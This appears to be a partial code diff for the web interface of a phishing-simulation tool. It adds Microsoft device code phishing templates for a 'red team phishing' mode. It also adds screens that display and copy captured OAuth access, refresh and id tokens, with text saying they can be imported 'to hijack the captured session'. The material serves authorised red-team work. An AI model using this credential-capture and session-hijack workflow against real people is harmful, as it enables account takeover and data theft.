{#each [['campaign_recipient_scheduled', 'Scheduled'], ['campaign_recipient_cancelled', 'Cancelled'], ['campaign_recipient_message_sent', 'Message Sent'], ['campaign_recipient_message_failed', 'Message Failed'], ['campaign_recipient_message_read', 'Message Read'], ['campaign_recipient_before_page_visited', 'Before Page Visited'], ['campaign_recipient_page_visited', 'Page Visited'], ['campaign_recipient_after_page_visited', 'After Page Visited'], ['campaign_recipient_deny_page_visited', 'Deny Page Visited'], ['campaign_recipient_submitted_data', 'Data Submitted'], ['campaign_recipient_reported', 'Reported'], ['campaign_recipient_info', 'Info']] as [key, label]}
<label class="flex items-center text-xs">
<input
type="checkbox"
@@ -11,6 +11,7 @@
setupVimClipboardIntegration,
destroyVimClipboardIntegration
} from '$lib/utils/vimClipboard.js';
import { displayMode, DISPLAY_MODE } from '$lib/store/displayMode';
/** @type {'domain'|'page'|'email'} */
export let contentType;
@@ -79,6 +80,20 @@
]
};
// device code templates are only available in blackbox (red team phishing) mode
const deviceCodeTemplates = [
{ label: 'Device Code (user code)', text: '{{MicrosoftDeviceCode}}' },
{ label: 'Device Code (verification URL)', text: '{{MicrosoftDeviceCodeURL}}' }
];
$: computedTemplates = (() => {
const result = { ...templates };
if ($displayMode === DISPLAY_MODE.BLACKBOX) {
result['Device Code'] = deviceCodeTemplates;
}
return result;
})();
switch (contentType) {
case 'domain': {
delete templates['Email'];
@@ -438,7 +453,9 @@
.replaceAll('{{.TrackerURL}}', '')
.replaceAll('{{.From}}', '')
.replaceAll('{{.BaseURL}}', _baseURL)
.replaceAll('{{.URL}}', _url);
.replaceAll('{{.URL}}', _url)
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin');
case 'email':
return text
.replaceAll('{{.FirstName}}', 'Alice')
@@ -462,7 +479,9 @@
)
.replaceAll('{{.From}}', 'sender@new-order.test')
.replaceAll('{{.BaseURL}}', _baseURL)
.replaceAll('{{.URL}}', _url);
.replaceAll('{{.URL}}', _url)
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin');
}
};
@@ -641,7 +660,7 @@
}}
>
<option class="" value="">Templates...</option>
{#each Object.entries(templates) as [group, items]}
{#each Object.entries(computedTemplates) as [group, items]}
<optgroup label={group}>
{#each items as item}
<option value={item.text}>{item.label}</option>
+5
View File
@@ -41,6 +41,11 @@ const eventNameMap = {
priority: 95,
color: 'bg-reported'
},
campaign_recipient_info: {
name: 'Info',
priority: 25,
color: 'bg-message-sent'
},
// campaign events
campaign_scheduled: { name: 'Scheduled', priority: 10 },
campaign_active: { name: 'Active', priority: 20 },
+108 -37
View File
@@ -152,6 +152,7 @@
let reportedDateColumn = '';
let pendingEmailPreviewRecipient = null;
let storedCookieData = '';
let storedTokenData = '';
let isDeleteEventAlertVisible = false;
let deleteEventValues = {
id: null,
@@ -652,6 +653,7 @@
const closeSessionSushiModal = () => {
isSessionSushiModalVisible = false;
storedCookieData = '';
storedTokenData = '';
};
const onSessionSushiModalOk = () => {
@@ -661,12 +663,19 @@
/** @param {string} eventData @param {string} eventName */
const onClickCopyEventData = async (eventData, eventName) => {
try {
// remove the cookie emoji prefix before copying
const dataWithoutEmoji = eventData.startsWith('🍪 ') ? eventData.substring(2) : eventData;
// remove emoji prefix before copying
let dataWithoutEmoji = eventData;
if (eventData.startsWith('🍪 ')) dataWithoutEmoji = eventData.substring(2);
else if (eventData.startsWith('🔑 ')) dataWithoutEmoji = eventData.substring(2);
await navigator.clipboard.writeText(dataWithoutEmoji);
if (eventName === 'campaign_recipient_submitted_data' && eventData.startsWith('🍪')) {
storedCookieData = eventData;
storedTokenData = '';
isSessionSushiModalVisible = true;
} else if (eventName === 'campaign_recipient_submitted_data' && eventData.startsWith('🔑')) {
storedTokenData = eventData;
storedCookieData = '';
isSessionSushiModalVisible = true;
}
@@ -691,6 +700,20 @@
}
};
const onClickCopyTokens = async () => {
try {
// remove the token emoji prefix before copying
const dataWithoutEmoji = storedTokenData.startsWith('🔑 ')
? storedTokenData.substring(2)
: storedTokenData;
await navigator.clipboard.writeText(dataWithoutEmoji);
addToast('Copied to clipboard', 'Success');
} catch (e) {
addToast('Failed to copy token data', 'Error');
console.error('failed to copy token data', e);
}
};
const openDeleteEventAlert = (event) => {
isDeleteEventAlertVisible = true;
deleteEventValues.id = event.id;
@@ -1052,6 +1075,18 @@
// parse the event data as JSON
const parsedData = JSON.parse(eventData);
// check if it's a device code token capture (access_token present)
if (parsedData.access_token) {
const tokenPayload = {
access_token: parsedData.access_token,
refresh_token: parsedData.refresh_token || '',
id_token: parsedData.id_token || '',
user_code: parsedData.user_code || '',
client_id: parsedData.client_id || ''
};
return '🔑 ' + JSON.stringify(tokenPayload, null, 2);
}
// check if it's the new cookie bundle format
if (parsedData.capture_type === 'cookie' && parsedData.cookies) {
const cookies = [];
@@ -1848,7 +1883,7 @@
<EventName eventName={campaign.eventTypesIDToNameMap[event.eventID]} />
</TableCell>
<TableCell>
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪')}
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && (formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪') || formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🔑'))}
<button
class="hover:bg-gray-100 dark:hover:bg-gray-700 px-2 py-1 rounded-md transition-colors w-full text-left text-ellipsis overflow-hidden text-gray-900 dark:text-gray-100"
title={formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID])}
@@ -2087,7 +2122,7 @@
<EventName eventName={campaign.eventTypesIDToNameMap[event.eventID]} />
</TableCell>
<TableCell>
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪')}
{#if campaign.eventTypesIDToNameMap[event.eventID] === 'campaign_recipient_submitted_data' && (formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🍪') || formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID]).startsWith('🔑'))}
<button
class="hover:bg-gray-100 dark:hover:bg-gray-700 px-2 py-1 rounded-md transition-colors w-full text-left text-ellipsis overflow-hidden text-gray-900 dark:text-gray-100"
title={formatEventData(event.data, campaign.eventTypesIDToNameMap[event.eventID])}
@@ -2543,44 +2578,80 @@
</Alert>
<Modal
headerText={'Cookies captured'}
headerText={storedTokenData ? 'Tokens captured' : 'Cookies captured'}
visible={isSessionSushiModalVisible}
onClose={closeSessionSushiModal}
>
<div class="mt-4">
<!-- Introduction Section -->
<div>
<h3
class="text-xl font-semibold text-gray-700 dark:text-gray-200 transition-colors duration-200"
>
Import cookie
</h3>
<p class="text-gray-600 dark:text-gray-300 mb-4 transition-colors duration-200">
Cookies can be imported and exchanged for tokens using the <a
href="https://github.com/phishingclub/session-sushi"
target="_blank"
class="text-blue-600 dark:text-white hover:underline">Session Sushi</a
> extension.
</p>
</div>
{#if storedTokenData}
<!-- token capture introduction section -->
<div>
<h3
class="text-xl font-semibold text-gray-700 dark:text-gray-200 transition-colors duration-200"
>
Import tokens
</h3>
<p class="text-gray-600 dark:text-gray-300 mb-4 transition-colors duration-200">
Tokens can be imported into <a
href="https://github.com/phishingclub/session-sushi"
target="_blank"
class="text-blue-600 dark:text-white hover:underline">Session Sushi</a
> to hijack the captured session.
</p>
</div>
<!-- Copy Section -->
<div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-md transition-colors duration-200">
<button
class="text-blue-600 dark:text-white hover:text-blue-800 dark:hover:text-gray-300 font-medium inline-flex items-center gap-2"
on:click={onClickCopyCookies}
>
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z"
></path>
</svg>
Copy cookies
</button>
</div>
<!-- token copy section -->
<div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-md transition-colors duration-200">
<button
class="text-blue-600 dark:text-white hover:text-blue-800 dark:hover:text-gray-300 font-medium inline-flex items-center gap-2"
on:click={onClickCopyTokens}
>
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z"
></path>
</svg>
Copy tokens
</button>
</div>
{:else}
<!-- cookie capture introduction section -->
<div>
<h3
class="text-xl font-semibold text-gray-700 dark:text-gray-200 transition-colors duration-200"
>
Import cookie
</h3>
<p class="text-gray-600 dark:text-gray-300 mb-4 transition-colors duration-200">
Cookies can be imported and exchanged for tokens using the <a
href="https://github.com/phishingclub/session-sushi"
target="_blank"
class="text-blue-600 dark:text-white hover:underline">Session Sushi</a
> extension.
</p>
</div>
<!-- cookie copy section -->
<div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-md transition-colors duration-200">
<button
class="text-blue-600 dark:text-white hover:text-blue-800 dark:hover:text-gray-300 font-medium inline-flex items-center gap-2"
on:click={onClickCopyCookies}
>
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z"
></path>
</svg>
Copy cookies
</button>
</div>
{/if}
</div>
<FormGrid on:submit={onSessionSushiModalOk}>
<FormColumns>